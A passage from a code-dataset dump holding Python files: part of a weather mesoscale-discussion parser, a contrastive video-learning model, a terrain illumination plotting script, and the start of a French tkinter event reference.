sections = self.unixtext.split(\"\\n\\n\")\n for section in sections:\n if section.strip().find(\"AREAS AFFECTED...\") == 0:\n return section[17:].replace(\"\\n\", \" \")\n return None\n\n def get_jabbers(self, uri):\n ''' Return plain text and html variants for a Jabber msg '''\n # convert htmlentities\n spcuri = cgi.escape( self.get_url() )\n center = 'Storm Prediction Center'\n pextra = ''\n if self.afos == 'FFGMPD':\n center = 'Weather Prediction Center'\n pextra = 'Precipitation '\n prob_extra = \"\"\n if self.watch_prob is not None:\n prob_extra = \"[watch probability: %.0f%%] \" % (self.watch_prob,)\n plain = \"%s issues Mesoscale %sDiscussion #%s%s %s\" % (center, pextra,\n self.discussion_num,\n prob_extra,\n spcuri)\n html = ('%s issues '\n +'Mesoscale %sDiscussion #%s %s'\n +'(View text)
') % (center, spcuri, pextra,\n self.discussion_num,\n prob_extra, uri,\n self.get_product_id()\n )\n return plain, html\n\n def parse_attn_rfc(self):\n ''' FIgure out which RFCs this product is seeking attention '''\n tokens = ATTN_RFC.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n return []\n return re.findall(\"([A-Z]{5})\", tokens[0])\n\n def parse_attn_wfo(self):\n ''' FIgure out which WFOs this product is seeking attention '''\n tokens = ATTN_WFO.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n raise MCDException('Could not parse attention WFOs')\n return re.findall(\"([A-Z]{3})\", tokens[0])\n \n def parse_discussion_num(self):\n ''' Figure out what discussion number this is '''\n tokens = DISCUSSIONNUM.findall( self.unixtext )\n if len(tokens) == 0:\n raise MCDException('Could not parse discussion number')\n return int(tokens[0])\n \n def parse_geometry(self):\n ''' Find the polygon that's in this MCD product '''\n tokens = LATLON.findall( self.unixtext.replace(\"\\n\", \" \"))\n if len(tokens) == 0:\n raise MCDException('Could not parse LAT...LON geometry')\n pts = []\n for pair in tokens[0].split():\n lat = float(pair[:4]) / 100.0\n lon = 0 - float(pair[4:]) / 100.0\n if lon > -40:\n lon = lon - 100.0\n pts.append( (lon, lat) )\n return ShapelyPolygon(pts)\n \n def find_cwsus(self, txn):\n ''' \n Provided a database transaction, go look for CWSUs that \n overlap the discussion geometry.\n ST_Overlaps do the geometries overlap\n ST_Covers does polygon exist inside CWSU\n '''\n wkt = 'SRID=4326;%s' % (self.geometry.wkt,)\n sql = \"\"\"select distinct id from cwsu WHERE \n st_overlaps('%s', geom) or \n st_covers(geom, '%s') ORDER by id ASC\"\"\" % (wkt, wkt)\n txn.execute(sql)\n cwsu = []\n for row in txn:\n cwsu.append( row[0] )\n return cwsu\n \n def database_save(self, txn):\n ''' Save this product to the database '''\n giswkt = \"SRID=4326;%s\" % (MultiPolygon([self.geometry]).wkt,)\n sql = \"\"\"INSERT into text_products(product, product_id, geom) \n values (%s, %s, %s)\"\"\"\n args = (self.text, self.get_product_id(), giswkt)\n txn.execute(sql, args)\n \ndef parser(text, utcnow=None, ugc_provider=None, nwsli_provider=None):\n ''' Helper function '''\n return MCDProduct( text )","sub_path":"pyiem/nws/products/mcd.py","file_name":"mcd.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"10201107","text":"import sys\nimport math\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributed as dist\nimport torchvision\nimport itertools\nfrom IPython import embed\n\nsys.path.append('../')\nfrom backbone.select_backbone import select_backbone\n\nfrom utils.utils import GatherLayer\nfrom utils.soft_dtw_cuda import SoftDTW\n\nclass SimCLR_Naked(nn.Module):\n '''\n Basically, it's a MoCo for video input: https://arxiv.org/abs/1911.05722\n '''\n def __init__(self, network='s3d', dim=128, T=0.07, distributed=True, nonlinear=True):\n '''\n dim: feature dimension (default: 128)\n K: queue size; number of negative keys (default: 2048)\n m: moco momentum of updating key encoder (default: 0.999)\n T: softmax temperature (default: 0.07)\n '''\n super(SimCLR_Naked, self).__init__()\n\n self.dim = dim\n self.distributed = distributed\n self.T = T\n\n # assert not distributed, 'distributed simclr is not supported yet'\n self.nonlinear = nonlinear\n\n # create the encoders (including non-linear projection head: 2 FC layers)\n backbone, self.param = select_backbone(network)\n feature_size = self.param['feature_size']\n self.encoder_q = nn.ModuleList([\n backbone,\n nn.AdaptiveAvgPool3d((1, 1, 1))])\n if nonlinear:\n self.encoder_q.extend([\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, dim, kernel_size=1, bias=True)\n ])\n\n self.criterion = nn.CrossEntropyLoss()\n\n # Notes: for handling sibling videos, e.g. for UCF101 dataset\n\n def calc_contrast_loss(self, features, n_views=2, prefix='clip_'):\n # input features is normed features\n assert len(features.size()) == 3, features.size()\n B, N, dim = features.size()\n assert N == n_views and dim == self.dim, features.size()\n # distributed gathering\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n N = features.size(0)\n features = features.view(N, n_views, dim).permute(1,0,2).contiguous().view(n_views*N, dim)# (2N)xd\n # assert features.size(0) % 2 == 0\n # N = features.size(0)// n_views\n labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2B, 2B)\n labels = labels.cuda()\n\n similarity_matrix = torch.matmul(features, features.T) # (2B,2B)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda()\n labels = labels[~mask].view(labels.shape[0], -1) # (2B, 2B-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2B, 2B-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def forward(self, block):\n '''\n modified from simCLR\n https://github.com/sthalles/SimCLR/blob/1848fc934ad844ae630e6c452300433fe99acfd9/simclr.py#L26\n '''\n B = block.size(0)\n\n (batch_size, n_views, *_) = block.shape # [B,N,C,T,H,W]\n assert n_views == 2\n x = block.view(-1, *(block.size()[2:])) # (B*n, ...)\n features = x\n for i, mod in enumerate(self.encoder_q):\n features = mod(features)\n if i == 1:\n backbone_features = features\n\n features = F.normalize(features, dim=1).squeeze().view(B, n_views, self.dim)\n\n ret = self.calc_contrast_loss(features, n_views, 'clip_')\n\n return ret\n\n def get_features(self, block):\n B, C, T, H, W = block.size()\n _, feature_list = self.encoder_q[0](block, ret_frame_feature=True, multi_level=True)\n attn_list = [feature.mean(dim=1) for feature in feature_list]\n return attn_list\n\n\nclass SimCLR_TimeSeriesV4(nn.Module):\n '''\n Basically, it's a MoCo for video input: https://arxiv.org/abs/1911.05722\n '''\n\n def __init__(self, network='s3d', dim=128, T=0.07, distributed=True, nonlinear=True, n_series=2, series_dim=64,\n series_T=0.07, aligned_T=0.07, mode=\"clip-sr-tc\", args=None):\n '''\n dim: feature dimension (default: 128)\n K: queue size; number of negative keys (default: 2048)\n m: moco momentum of updating key encoder (default: 0.999)\n T: softmax temperature (default: 0.07)\n '''\n super(SimCLR_TimeSeriesV4, self).__init__()\n\n self.cnt = 0\n self.args = args\n self.dim = dim\n self.distributed = distributed\n self.T = T\n # assert not distributed, 'distributed simclr is not supported yet'\n self.nonlinear = nonlinear\n self.n_series = n_series\n self.series_dim = series_dim\n self.series_T = series_T\n self.aligned_T = aligned_T\n self.mode = mode\n self.with_clip = 'clip' in mode\n self.with_sr = 'sr' in mode\n self.with_tc = 'tc' in mode\n\n # create the encoders (including non-linear projection head: 2 FC layers)\n backbone, self.param = select_backbone(network)\n feature_size = self.param['feature_size']\n self.encoder_q = nn.ModuleList([\n backbone,\n nn.AdaptiveAvgPool3d((1, 1, 1))])\n if nonlinear and self.with_clip:\n self.encoder_q.extend([\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, dim, kernel_size=1, bias=True)\n ])\n\n self.criterion = nn.CrossEntropyLoss()\n\n self.series_proj_head = nn.Sequential(\n nn.Conv3d(feature_size, feature_size, kernel_size=1, bias=True),\n nn.ReLU(),\n nn.Conv3d(feature_size, series_dim*self.n_series, kernel_size=1, bias=True)\n )\n # Notes: for handling sibling videos, e.g. for UCF101 dataset\n\n def calc_clip_contrast_loss(self, features, n_views=2, prefix='clip_'):\n # input features is normed features\n assert len(features.size()) == 3, features.size()\n B, N, dim = features.size()\n assert N == n_views , features.size()\n # distributed gathering\n N = B\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n N = features.size(0)\n features = features.view(N, n_views, dim).permute(1,0,2).contiguous().view(n_views*N, dim)# (2N)xd\n else:\n features = features.permute(1,0,2).contiguous().view(n_views*B, dim)\n # assert features.size(0) % 2 == 0\n # N = features.size(0)// n_views\n labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2B, 2B)\n labels = labels.cuda()\n\n similarity_matrix = torch.matmul(features, features.T) # (2B,2B)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda()\n labels = labels[~mask].view(labels.shape[0], -1) # (2B, 2B-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2B, 2B-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def calc_ranking_loss(self, features, n_views=2, prefix='ranking_', weight=1.):\n '''\n corresponding shuffled features should be the same\n while also surpasing the second highest features by margin (hyperparam) = 0\n '''\n # input features is normed features\n assert len(features.size()) == 4, features.size()\n Bn, n_series, N, dim = features.size()\n assert n_series == self.n_series\n assert N == n_views and dim == self.series_dim, features.size()\n\n labels = torch.cat([torch.arange(n_series) for i in range(n_views)], dim=0) # (2, n_series) -> (2*n_Series,)\n labels = (labels.unsqueeze(0) == labels.unsqueeze(1)).float() # (2s, 2s)\n labels = labels.cuda()\n\n features = features.permute(0,2,1,3).contiguous().view(Bn, n_views*n_series, dim)\n\n similarity_matrix = torch.bmm(features, features.transpose(2,1).contiguous()) # (bn, 2s, 2s)\n\n # discard the main diagonal from both: labels and similarities matrix\n mask = torch.eye(labels.shape[0], dtype=torch.bool).cuda().unsqueeze(0).expand_as(similarity_matrix)\n corr_mask_1 = torch.cat([torch.zeros(n_series, n_series), torch.eye(n_series)], dim=1)\n corr_mask_2 = torch.cat([torch.eye(n_series), torch.zeros(n_series, n_series)], dim=1)\n corr_mask = torch.cat([corr_mask_1, corr_mask_2]).cuda().bool().unsqueeze(0).expand_as(similarity_matrix)\n left_mask = ~(mask | corr_mask)\n\n highest_similarity = similarity_matrix[corr_mask].view(Bn, 2*n_series, 1)\n second_highest_similarity = similarity_matrix[left_mask].view(Bn, 2*n_series, 2*n_series-2)\n diff = second_highest_similarity - highest_similarity\n margin_loss = weight * torch.log(1 + torch.exp((diff / self.args.shufflerank_theta).clip(max=5.0))).mean()\n\n margin_logits = torch.cat([highest_similarity, second_highest_similarity], dim=2).view(-1, 2*n_series-1)\n margin_labels = torch.zeros(margin_logits.size(0)).long().cuda()\n\n # margin_loss = weight * F.relu(second_highest_similarity - highest_similarity).mean()\n # if self.cnt % 100 == 0:\n # correct_rate = ((second_highest_similarity - highest_similarity) < 0)\n # print(f\"<<<<<<< margin_acc \")\n\n # sim_loss = weight * (1- highest_similarity).mean()\n\n ret = {\n f\"{prefix}margin_logits\": margin_logits,\n f\"{prefix}margin_labels\": margin_labels,\n f\"{prefix}margin_contrast_loss\": margin_loss\n }\n\n return ret\n\n def calc_tc_contrast_loss(self, features, prefix=\"tc_\"):\n B, n_views, n_series, dim = features.size()\n assert n_series == self.n_series and dim == self.series_dim\n rank = 0\n world_size = 1\n if self.distributed:\n features = torch.cat(GatherLayer.apply(features), dim=0)\n rank = dist.get_rank()\n world_size = dist.get_world_size()\n\n # rank = 0\n N = features.size(0)\n N_per_rank = N // world_size\n i_base = N_per_rank * rank\n row_features = features.view(N, n_views, n_series, dim)[i_base:i_base+N_per_rank].permute(1,0,2,3).contiguous().view(n_views*N_per_rank, n_series, dim)\n col_features = features.view(N, n_views, n_series, dim).permute(1, 0, 2, 3).contiguous().view(n_views * N, n_series, dim)\n\n series_similarity_matrix = torch.matmul(row_features.unsqueeze(1), col_features.unsqueeze(0).transpose(3,2)).contiguous() # (2n, 2N, n_series, n_series)\n\n col_labels = torch.cat([torch.arange(N) for i in range(n_views)], dim=0) # (2, N) -> (2*N,)\n row_labels = torch.cat([torch.arange(i_base, i_base+N_per_rank) for i in range(n_views)], dim=0)\n labels = (row_labels.unsqueeze(1) == col_labels.unsqueeze(0)).float() # (2n, 2N)\n labels = labels.cuda()\n\n similarity_matrix = series_similarity_matrix.mean(dim=(2,3))\n similarity_matrix = similarity_matrix.contiguous()\n\n # discard the main diagonal from both: labels and similarities matrix\n row_inst = torch.arange(i_base, i_base+N_per_rank).unsqueeze(0).expand(n_views, N_per_rank)\n row_padded_ind = torch.arange(n_views).unsqueeze(1)*N\n row_inst = (row_inst + row_padded_ind).view(-1).unsqueeze(1)\n col_inst = torch.arange(N*n_views).unsqueeze(0)\n mask = (row_inst == col_inst).cuda()\n\n labels = labels[~mask].view(labels.shape[0], -1) # (2n, 2N-1)\n similarity_matrix = similarity_matrix[~mask].view(similarity_matrix.shape[0], -1) # (2n, 2N-1)\n # assert similarity_matrix.shape == labels.shape\n\n # select and combine multiple positives\n positives = similarity_matrix[labels.bool()].view(labels.shape[0], -1)\n\n # select only the negatives the negatives\n negatives = similarity_matrix[~labels.bool()].view(similarity_matrix.shape[0], -1)\n\n logits = torch.cat([positives, negatives], dim=1)\n labels = torch.zeros(logits.shape[0]).long().cuda()\n\n logits = logits / self.aligned_T\n\n contrast_loss = self.criterion(logits, labels)\n\n ret = {\n f\"{prefix}logits\": logits,\n f\"{prefix}labels\": labels,\n f\"{prefix}contrast_loss\": contrast_loss\n }\n\n return ret\n\n def forward(self, block):\n '''\n modified from simCLR\n https://github.com/sthalles/SimCLR/blob/1848fc934ad844ae630e6c452300433fe99acfd9/simclr.py#L26\n '''\n block = block.contiguous()\n B = block.size(0)\n assert block.size(1) == 3\n extra_block = block[:, 2]\n (batch_size, _, C, T, H, W) = block.shape # [B,N,C,T,H,W]\n n_views = 2\n N_views = 3\n assert n_views == 2\n x = block.view(-1, *(block.size()[2:])) # (B*n, ...)\n features = x\n for i, mod in enumerate(self.encoder_q):\n features = mod(features)\n if i == 1:\n backbone_features = features\n\n features = F.normalize(features, dim=1).squeeze().view(B, N_views, self.dim)\n features = features[:, :2].contiguous()\n ret = dict()\n if self.with_clip:\n ret.update(self.calc_contrast_loss(features, n_views))\n\n # get series projections\n series_features = self.series_proj_head(backbone_features).view(B, N_views, self.n_series, self.series_dim)\n series_features = F.normalize(series_features, dim=3)\n contrast_series_features = series_features[:, :n_views].contiguous()\n series_features = series_features.view(B * N_views, self.n_series, self.series_dim)\n if self.with_tc:\n ret.update(self.calc_tc_contrast_loss(\n contrast_series_features.view(B, n_views, self.n_series, self.series_dim)))\n\n if self.with_sr:\n orig_series_features = series_features.view(B, N_views, self.n_series, self.series_dim)[:,[0, 2]].contiguous()\n #### get time-series features and contrast them\n # shuffle input clips\n x = extra_block.view(B, C, self.n_series, T // self.n_series, H, W)\n sample_indices = torch.tensor(\n np.array([np.random.permutation(self.n_series) for i in range(B)])\n ).long().cuda()\n sample_gather_indices = sample_indices.view(B, 1, self.n_series, 1, 1, 1).expand_as(x)\n shuffled_x = torch.gather(x, 2, sample_gather_indices).contiguous().view(B, C, T, H, W) # (B*n, C, T, H, W)\n shuffled_features = shuffled_x\n for i, mod in enumerate(self.encoder_q):\n if i > 1: break\n shuffled_features = mod(shuffled_features)\n shuffled_series_features = self.series_proj_head(shuffled_features).view(B, self.n_series, self.series_dim)\n sample_scatter_indices = sample_indices.view(B, self.n_series, 1).expand_as(shuffled_series_features)\n calibrated_shuffled_series_features = torch.scatter(\n shuffled_series_features, 1, sample_scatter_indices, shuffled_series_features)\\\n .contiguous().view(B, self.n_series, self.series_dim)\n calibrated_shuffled_series_features = F.normalize(calibrated_shuffled_series_features, dim=2)\n # separated weighting the loss\n orig_shuffled_series_features = torch.stack([orig_series_features[:, 0], calibrated_shuffled_series_features], dim=2).contiguous() # (B, n_series, 2, dim)\n aug_shuffled_series_features = torch.stack([orig_series_features[:, 1], calibrated_shuffled_series_features], dim=2).contiguous() # (B, n_series, 2, dim)\n ret.update(self.calc_ranking_loss(orig_shuffled_series_features, 2, 'aug_ranking_', weight=0.5))\n ret.update(self.calc_ranking_loss(aug_shuffled_series_features, 2, 'unaug_ranking_', weight=0.5))\n\n return ret","sub_path":"model/simclr.py","file_name":"simclr.py","file_ext":"py","file_size_in_byte":17692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"443230607","text":"import sys\nsys.path.append(\"/home/george/PyLandtools/\")\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport L1P40R37\nimport L1Terrain\n\ndatabasepath = \"/media/WDBook/P40R37/LT5\"\nrun_param = L1P40R37.L1RunParams_P40R37()\nwrp_win = L1P40R37.WarpWindow_StAnaCenter()\nscenename = 'LT50400372011169PAC01'\n\nr = np.pi/180.\nsolz = 45.0*r\nsolaz = 0.*r\nmin_slo = 0.*r\nmax_slo = 70.*r\nmin_asp = 0.*r\nmax_asp = 359.*r\nn = 100\nslo_arr = np.linspace(min_slo, max_slo, n)\nasp_arr = np.linspace(min_asp, max_asp, n)\n\n\nct = L1Terrain.Costheta(databasepath,scenename,run_param,wrp_win)\ntd = L1Terrain.TFDirect(databasepath,scenename,run_param,wrp_win)\ntfj = L1Terrain.TFDiffuse_LJRD(databasepath,scenename,run_param,wrp_win)\ntft = L1Terrain.TFDiffuse_TMCLS(databasepath,scenename,run_param,wrp_win)\ntft2 = L1Terrain.TFDiffuse_TMCLS2(databasepath,scenename,run_param,wrp_win)\n\n\nct_arr = ct.calc_core(asp_arr, slo_arr, solz, solaz)\ntd_arr = td.calc_core(ct_arr, solz)\ntfj_arr = tfj.calc_core(slo_arr)\ntft_arr = tft.calc_core(slo_arr, ct_arr, solz)\ntft2_arr = tft2.calc_core(slo_arr,ct_arr, solz)\n\nct_mtx = np.zeros((n,n))\ni = 0\nfor slo in slo_arr:\n j = 0\n for asp in asp_arr:\n ct_mtx[i,j] = ct.calc_core(asp,slo,solz,solaz)\n j += 1\n i += 1\n\ns, a = np.meshgrid(slo_arr, asp_arr, indexing=\"ij\")\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nax.plot_surface(s*1./r, a*1./r, ct_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax.set_xlabel(\"Slope [deg]\")\nax.set_ylabel(\"Aspect [deg]\")\nax.set_zlabel(\"Cos(T) [sr-1]\")\n\ntd_mtx = td.calc_core(ct_mtx, solz)\nfig2 = plt.figure()\nax2 = fig2.gca(projection='3d')\nax2.plot_surface(s*1./r, a*1./r, td_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax2.set_xlabel(\"Slope [deg]\")\nax2.set_ylabel(\"Aspect [deg]\")\nax2.set_zlabel(\"Direct Illum. Factor\")\n\ntfj_mtx = tfj.calc_core(s)\nfig3 = plt.figure()\nax3 = fig3.gca(projection='3d')\nax3.plot_surface(s*1./r, a*1./r, tfj_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax3.set_xlabel(\"Slope [deg]\")\nax3.set_ylabel(\"Aspect [deg]\")\nax3.set_zlabel(\"Diffuse LJ Illum. Factor\")\n\n\ntft_mtx = tft.calc_core(s,ct_mtx, solz)\nfig4 = plt.figure()\nax4 = fig4.gca(projection='3d')\nax4.plot_surface(s*1./r, a*1./r, tft_mtx, rstride=1, cstride=1, cmap=cm.jet, linewidth=0, antialiased=False)\nax4.set_xlabel(\"Slope [deg]\")\nax4.set_ylabel(\"Aspect [deg]\")\nax4.set_zlabel(\"Diffuse TC Illum. Factor\")\n\n\nfig5 = plt.figure()\nax5 = fig5.gca(projection='3d')\nax5.plot_surface(s*1./r, a*1./r, td_mtx, rstride=1, cstride=1, cmap=cm.afmhot, linewidth=0, antialiased=False)\nax5.plot_surface(s*1./r, a*1./r, tft_mtx, rstride=1, cstride=1, cmap=cm.PuBu_r, linewidth=0, antialiased=False)\nax5.set_xlabel(\"Slope [deg]\")\nax5.set_ylabel(\"Aspect [deg]\")\nax5.set_zlabel(\"Diffuse TC Illum. Factor\")\n\n\nplt.show()","sub_path":"for_paper/sensitivity_terrain.py","file_name":"sensitivity_terrain.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"38907020","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# Name: tkinter bind et event\n# Purpose:\n#\n# Author: Jean\n#\n# Created: 23/01/2018\n# Copyright: (c) Jean 2018\n# Licence: \n#-------------------------------------------------------------------------------\nfrom tkinter import *\n\"\"\"\n : Click gauche\n : Click milieu\n : Click droit\n : Double click droit\n : Double click gauche\n : Pression sur une touche\n : Pression sur la touche A (minuscule)\n : Pression sur la touche A (majuscule)\n : Pression sur la touche entrée\n : Touche Echap\n : Pression sur la flèche directionnelle haut\n : Pression sur la flèche directionnelle bas\n : Lorsque qu'on relache le click\n : Mouvement de la souris\n : Mouvement de la souris avec click gauche\n : Entrée du curseur dans un widget\n : Sortie du curseur dans un widget\n : Redimensionnement de la fenêtre\n